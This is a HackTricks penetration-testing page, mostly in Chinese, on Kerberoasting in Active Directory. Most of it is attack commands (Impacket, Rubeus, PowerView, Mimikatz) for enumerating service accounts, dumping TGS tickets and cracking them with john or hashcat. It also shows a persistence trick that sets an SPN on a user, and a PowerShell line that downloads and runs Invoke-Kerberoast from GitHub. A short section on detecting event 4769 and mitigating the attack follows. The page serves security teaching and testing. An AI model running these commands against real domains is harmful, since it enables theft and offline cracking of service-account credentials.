hacktricks/windows-hardening/active-directory-methodology/kerberoast.md
2023-08-03 19:12:22 +00:00

12 KiB
Raw Blame History

Kerberoast


使用Trickest可以轻松构建和自动化由全球最先进的社区工具提供支持的工作流程。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Kerberoast

Kerberoasting的目标是收集在AD中代表用户账户运行的服务的TGS票据而不是计算机账户。因此这些TGS票据的一部分是使用从用户密码派生的密钥进行加密的。因此,它们的凭据可以离线破解
你可以通过属性**"ServicePrincipalName"是否为非空来判断一个用户账户是否被用作服务**。

因此要执行Kerberoasting只需要一个可以请求TGS的域账户这可以是任何人因为不需要特殊权限。

你需要在域内拥有有效的凭据。

攻击

{% hint style="warning" %} Kerberoasting工具通常在执行攻击和发起TGS-REQ请求时请求**RC4加密。这是因为RC4** 更弱并且比其他加密算法如AES-128和AES-256更容易使用Hashcat等工具进行离线破解。
RC4类型23哈希以**$krb5tgs$23$*开头而AES-256类型18$krb5tgs$18$***开头。 {% endhint %}

Linux

# Metasploit framework
msf> use auxiliary/gather/get_user_spns
# Impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
# kerberoast: https://github.com/skelsec/kerberoast
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerate kerberoastable users
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes

多功能工具包括可进行kerberoast攻击的用户信息转储

# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c

Windows

  • 枚举可进行Kerberoast攻击的用户
# Get Kerberoastable users
setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
Get-NetUser -SPN | select serviceprincipalname #Powerview
.\Rubeus.exe kerberoast /stats
  • 技术1请求TGS并从内存中转储
#Get TGS in memory from a single user
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local

#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart)
setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

#List kerberos tickets in memory
klist

# Extract them from memory
Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder

# Transform kirbi ticket to john
python2.7 kirbi2john.py sqldev.kirbi
# Transform john to hashcat
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
  • 技术2自动化工具

Automatic tools can greatly simplify the process of kerberoasting. These tools automate the enumeration of vulnerable user accounts and the extraction of their Kerberos Service Tickets (TGS). Here are some popular tools that can be used for kerberoasting:

  • Rubeus: A powerful tool that can be used to perform various Kerberos attacks, including kerberoasting.
  • Kekeo: Another versatile tool that can be used to perform Kerberos-related attacks, including kerberoasting.
  • Impacket: A collection of Python scripts that can be used to interact with the Kerberos protocol, including kerberoasting.
  • Mimikatz: A popular tool that can be used to extract Kerberos tickets, including TGS tickets for kerberoasting.

These tools typically provide options to specify the target domain, user accounts, and output format. They can also automate the cracking of extracted TGS tickets using dictionary or brute-force attacks. It is important to note that the use of these tools should be done responsibly and with proper authorization.

# Powerview: Get Kerberoast hash of a user
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
# Powerview: Get all Kerberoast hashes
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins

# Invoke-Kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast

{% hint style="warning" %} 当请求TGS时Windows事件4769 - 请求了一个Kerberos服务票据会被生成。 {% endhint %}


使用Trickest轻松构建和自动化工作流程,利用全球最先进的社区工具。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

破解

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

持久性

如果您对用户拥有足够的权限,您可以使其成为可进行Kerberoasting攻击的目标

Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose

您可以在这里找到有用的工具进行kerberoast攻击:https://github.com/nidem/kerberoast

如果您在Linux上遇到以下错误Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great),这是因为您的本地时间与域控制器不同步。有几种解决方法:

  • ntpdate <域控制器的IP> - 在Ubuntu 16.04之后已弃用
  • rdate -n <域控制器的IP>

缓解措施

如果可利用Kerberoast非常隐蔽

  • 安全事件ID 4769 - 请求了一个Kerberos票证
  • 由于4769非常频繁让我们过滤结果
  • 服务名称不应为krbtgt
  • 服务名称不以$结尾(用于过滤用于服务的机器账户)
  • 帐户名称不应为machine@domain用于过滤来自机器的请求
  • 失败代码为'0x0'用于过滤失败0x0表示成功
  • 最重要的是票证加密类型为0x17
  • 缓解措施:
  • 服务账户密码应难以猜测超过25个字符
  • 使用托管服务账户定期自动更改密码和委派SPN管理
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message

在ired.team上关于Kerberoasting的更多信息在这里在这里

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥


使用Trickest可以轻松构建和自动化工作流程,使用全球最先进的社区工具。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}